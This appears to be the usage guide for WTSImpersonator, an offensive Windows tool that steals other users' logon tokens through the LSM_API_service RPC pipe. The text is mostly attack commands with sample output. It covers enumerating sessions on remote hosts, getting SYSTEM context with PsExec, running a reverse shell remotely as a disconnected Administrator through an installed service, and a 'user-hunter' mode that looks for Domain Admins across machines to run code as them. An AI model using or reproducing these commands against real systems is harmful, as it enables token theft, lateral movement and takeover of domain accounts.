WTSImpersonator utilizes WTSQueryUserToken to steal other users tokens (Local/Remote) without using NtOpenProcess or touching Lsass.exe by abusing RPC Named Pipe "\pipe\LSM_API_service" (Admin Privileges Required)
Enumerate Local Users on the machine the tool is running from
.\WTSImpersonator.exe -m enumEnumerate a machine remotely given an IP or an Hostname.
.\WTSImpersonator.exe -m enum -s 192.168.40.131 Both "exec" and "exec-remote" requires being in a "Service" context.
The local "exec" module does not need anything but the WTSImpersonator.exe and the binary you want to execute (-c flag), this could be
a normal "C:\Windows\System32\cmd.exe" and you will open a CMD as the user you desire, an example would be
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe you could use PsExec64.exe in order to obtain a service context
.\PsExec64.exe -accepteula -s cmd.exeFor exec-remote things are a bit different, I created a service that can be installed remotely just like PsExec.exe
the service will receive a SessionId and a binary to run as an argument and it will be installed and executed remotely given the right permissions
an example run would look as follows:
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129

WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName: Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)as can be seen above the Sessionid of the Administrator account is 2 so we use it next in the id variable when executing code remotely
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2The user hunter module will give you the ability to enumerate multiple machines and if a given user is found, it will execute code on this user behalf.
this is useful when hunting for "Domain Admins" while having local administrator rights on a few machines.
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe
